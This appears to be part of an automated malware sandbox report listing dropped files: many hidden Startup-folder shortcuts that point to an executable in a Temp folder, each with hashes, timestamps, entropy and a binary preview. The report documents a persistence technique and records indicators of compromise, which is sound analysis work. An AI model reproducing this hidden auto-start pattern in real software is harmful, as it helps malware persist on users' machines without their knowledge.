Preview:	L..................F...."...]W%.{...(...\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...(...\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_caf7b4de2bb341f0b7fb720126ba0272.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:56 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.944363027788126
Encrypted:	false
SSDEEP:	24:8/hBf08iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8jZ0R6rMhpBoUBxdRd1nYyg
MD5:	06225CB444AF03FA3944C5B49ADDD781
SHA1:	0F329E59F5B25A7DB7454E635D6657CB9416C333
SHA-256:	64EEC0792A81E449AF050663EA5E2FFC55D9CAB96BC484B0B320A13B56922F43
SHA-512:	98DFA388E2BC2AEA9A125A321EF3030F14FB19B8805E236D25A29EB822BA7CCCC7CDE6FA92C0984F217E9B71FDADB9897FD0D6F2763EC340DA671927B0CA28D6
Malicious:	false
Preview:	L..................F...."...]W%.{....]..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....#..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cb1adbe12aa041aca61bf30904dd87ce.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:26 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939960858253016
Encrypted:	false
SSDEEP:	24:8ZhBfGy8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:85uf0R6rMhpBoUBxdRd1nYyg
MD5:	B379059F27D2D76FB1679EAD118871B0
SHA1:	CEA2C840F5C858213CD600ED0D21B624AB5D9E7C
SHA-256:	597C42F3D3B9E14BF8172EA4D522022B72EF38FCC612CCB37D1ED0B5EE1BC27E
SHA-512:	B782A6341381C91ACB6D7974AE5A52CA5E46D3EA40D446B48A107A5E8636987909A147464211A2B1DA97639745DA8C80C14CA60D6ED17077FB6B484479F36F0C
Malicious:	false
Preview:	L..................F...."...]W%.{....!..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....q..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cba6bb6abdcf4794883dbc1c51f530f6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934855483582328
Encrypted:	false
SSDEEP:	24:8vhBfO8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8zr0R6rMhpBoUBxdRd1nYyg
MD5:	6691330B5C959A26F27E58586B609732
SHA1:	FBECF3FE53F158F338F52ACBFB11F59B65839963
SHA-256:	15AA1F7DF8E4C86EA3045497B2716D6CAA256651E80522E69918106B12F27CFB
SHA-512:	C2921AE21795901F093490F5578323A7CF911EA8E79B5376904E92E5EE7D1EC9C3CBE2DF565801E7B181D17EC5AC67A938C2CB6AE2C14EBF2DD6C361849B2C19
Malicious:	false
Preview:	L..................F...."...]W%.{...e...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....X..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cbce2985e29d45f1b5e05f70743ebace.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:10 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938190092510321
Encrypted:	false
SSDEEP:	24:8ihBfD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8II0R6rMhpBoUBxdRd1nYyg
MD5:	653DE03B9FCECA0BF95F3896A2870C0A
SHA1:	0D643DF4D232CAD930C4AE6ED386148EA53B5EE3
SHA-256:	5BC1B35A4EE2E8D3CAB303899E126F4AE2653FF5E38E4A10E676CCD7C6162FBF
SHA-512:	AB3810DEA601CAE06CFC71B7AE22FC12B0CC0627E61CD607FB2D95EEFAF1A8CC8116EF2B79AE852E00ABAFDC65DC56429383756B2D361A514EF7BD31774E9B05
Malicious:	false
Preview:	L..................F...."...]W%.{....;..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....a.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cbdac840314b4e39939141c1268b9a4d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:51 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939113551118494
Encrypted:	false
SSDEEP:	24:8tphBf9l8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8bA0R6rMhpBoUBxdRd1nYyg
MD5:	8E1983974C9EEC665D18D9B2FE033135
SHA1:	D440743495C91B9686770210A9808C0101ADB474
SHA-256:	BC78ADFA23BE423D9E34F9923A1E256D6360F76F0F7C3674435D94A780DF2BB7
SHA-512:	2FB14A3312128A444385ED308B7912D0FB1E7E35AABC8F3AAAED910CD63610721B5EE3D6ECCB0A95BDD20AA55B0E1D670B612C71D1739AD0D0D9624F92AD58B6
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...J...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cc5db3a0f8a24f979af728d5365609d8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:49:59 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932651599214987
Encrypted:	false
SSDEEP:	24:8LPhBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8LTs0R6rMhpBoUBxdRd1nYyg
MD5:	D96E8D8A3F9C59FC10D3DBF6C22D044D
SHA1:	30D30C0568BCD8201156BE7C3EDCDDCA01E761BA
SHA-256:	333D9BD5E3E960C5518F5C95EEB5371E4A8618C05E9FF281D3CABE418138B642
SHA-512:	27A3E31489E480B9AECEAC919B54DD0D38B4AD8AF874C15773AAAC2FFE174D28EB44285DABEB8E3E33DEF3C4992CE82D5D9B8B341A8BB1DEB99ABBF2C576AA18
Malicious:	false
Preview:	L..................F...."...]W%.{...pt..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ccad92900c8c4193b607ef59847cda31.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:01 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935910492067039
Encrypted:	false
SSDEEP:	24:8dhBfeIl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8dnC0R6rMhpBoUBxdRd1nYyg
MD5:	D2B7C8C64BB7D54B444DB546189F3FEA
SHA1:	C5DB9797552941C0D5797889C41C27447218C790
SHA-256:	947AEC64811C0FA4BA0F4FA9CA6B992D083BD2343388A9DC74537DD79ACA926C
SHA-512:	6DF8B8757425FC06E1F08EF37734B2859059236A8275A0F03C1F7172AAE3F3991629FF049F74B302710A7D7CAB910072B151A23F464EC4F2D3E2069B6F8B564C
Malicious:	false
Preview:	L..................F...."...]W%.{...6...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...o...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cd40846565324e8281f6b0f324b68759.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:27 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941182727810649
Encrypted:	false
SSDEEP:	24:8thBfEH8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8N8c0R6rMhpBoUBxdRd1nYyg
MD5:	BA43CA968AC24B1788CB131072DFD16D
SHA1:	95D4E63151CBE2640F5FB010625ED307F54772EE
SHA-256:	75AA77EB38D08CDFE2B10BEFCD9C9D0FDB003BFCB48D68114DE8522224B9A597
SHA-512:	6B050A89B910E0C1E59F7564CC4A16654F4728EF11F9AAB572C810152F92E5F3E465813739F0E3BBA269F08151631E17E337DC432E516910713123627DA16568
Malicious:	false
Preview:	L..................F...."...]W%.{.../...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{..../..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cd58754fc3a945719ca732a998602fc9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:10 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939778650239341
Encrypted:	false
SSDEEP:	24:8QhBfbp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8CDO0R6rMhpBoUBxdRd1nYyg
MD5:	4DF47483DAB2F289E3E09C24FCAFBED4
SHA1:	0BEBC480A73BBDA8A544B4E801C0A93541F2A2B1
SHA-256:	E2EEAA1697C29B3600CB4C337258977BDBE32D937BD0CDD60C131FFC80C6D2C6
SHA-512:	B1F702E1E1EA774E3CCFB47E593822D7AB3FE98EF06710E1335E00BE477A1C06144399DD889FD9DA4C071FC241A10D21B368E6BBCEAAC052E4A41DD22CD6F01F
Malicious:	false
Preview:	L..................F...."...]W%.{.....+.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...d./.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cd754b152c07487f891e558fa7520219.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942512926052345
Encrypted:	false
SSDEEP:	24:8ShBfJe8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8YF0R6rMhpBoUBxdRd1nYyg
MD5:	527AFD023B889B82A56F53D290956A41
SHA1:	BFB6294D201843F7CD48073D3006CBF46FAEC5A0
SHA-256:	1A540B3875CC2F2D6CA36CF2B04B2DC855047751F3B4FDD2AD97DA51BF5C9DDC
SHA-512:	7313AE93E3FC23744993DC69743FBD6E3670ED6164783B6CFA6D7388DC0AC1F730304C948C27EE5D4F68086AF6BF0321752DF93BF84C637D71CFD07F9FC1BD9C
Malicious:	false
Preview:	L..................F...."...]W%.{....iV.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....].\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cd83b9e0eb2b42e0add1555e4c6bb103.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:00 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937282697240622
Encrypted:	false
SSDEEP:	24:8EhBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ms0R6rMhpBoUBxdRd1nYyg
MD5:	7BAB643FBFA0B209B7F20367354B3078
SHA1:	AA7C93B9AF7923F33C325F3CDF2EF8639294E7A7
SHA-256:	449CAFBF47E2ADE40CEB766A3E2D3B9B8902DF5687E00EA54B6C434673D4288D
SHA-512:	46F8674E5D465755F9620403B466115934EEE38065745923B8C8B49C788B4429679A0C08ECF2D4B168DD66FFCBA11B29BA44B572AF8A096FC0D454CD275AD0F5
Malicious:	false
Preview:	L..................F...."...]W%.{.....7.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cd9a16a74f3b4674af31b2ca23b5aeef.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:00 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935520582703178
Encrypted:	false
SSDEEP:	24:8khBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Gs0R6rMhpBoUBxdRd1nYyg
MD5:	AA26D7D6D093AC1B0E7749F5B58B9760
SHA1:	6508F7B003B3F0313FF80A7270029532FF242AF3
SHA-256:	4520E16620997A0D906AA119CE7BB48FBD422D23702552A5AC1162220AA8E8B4
SHA-512:	E195279A36EF4512A198A0C42A979DFD1C397912D5AC1ED8514430DEFD921D49106D3947095F8009C5DDAE406FBC6499673A1ABBFD12333F9F9621769F910AA7
Malicious:	false
Preview:	L..................F...."...]W%.{...`.w.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ce6365559b084014afc5415ac9fb6b32.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:55 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940406882417489
Encrypted:	false
SSDEEP:	24:838hBfOe8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8+m0R6rMhpBoUBxdRd1nYyg
MD5:	B46FF0487F9286B8B51E13F9C79F4E41
SHA1:	88ECFCF4A81086B10ACBFA2D0A7FCBF934E9FB28
SHA-256:	CF894755EDCAA4B009F8B55B047F0A028C0E88E91204AA85F5E524EFDA5F03B1
SHA-512:	399312CD850FC2C50E4F3CA6F1F63BB7D60837E6C30C097C2C440CB8E0562C85880B10D0117751EB818CC83B2A9D75E1306CDAE6F547EEC661F821827ADCC095
Malicious:	false
